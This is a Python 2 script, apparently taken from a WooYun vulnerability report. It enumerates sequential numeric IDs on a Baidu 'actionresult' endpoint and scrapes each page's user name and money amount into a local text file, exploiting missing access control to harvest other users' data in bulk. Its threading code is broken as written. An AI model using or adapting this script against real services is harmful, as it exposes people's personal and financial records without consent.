WooYun.org

#! /usr/bin/env python
#coding=utf-8
import requests,re
import threading
from lxml import etree
def content(k,i):
    f = open('6.txt','a+')
    f.write(i +'  '+k+'\n')
    f.close()
def getinfo():
    for i in xrange(96225010,121875997):
        url = 'http://sj.baidu.com/actionresult/'+str(i)
        try:
            page = requests.get(url).text.encode('gbk')
            sel = etree.HTML(page)
            user = sel.xpath(u"//p")
            money = sel.xpath("//table[@class='center']//tr[2]/td")
            for u in user:
                U = u.text.encode('gbk')
                print U
            for m in money:
                M = m.text.encode('gbk')
                p = re.compile('\s+')
                n = re.sub(p,'',M)
                print n
            k = U+'  '+n
            content(k,str(i))
        except:
            continue
        print i
if __name__ == '__main__':
    threads = []
    for i in range(100000):
        t = getinfo()
        t.start()
        threads.append(t)
    print 'main thread is waitting for exit...'        
    for t in threads:
        t.join(1)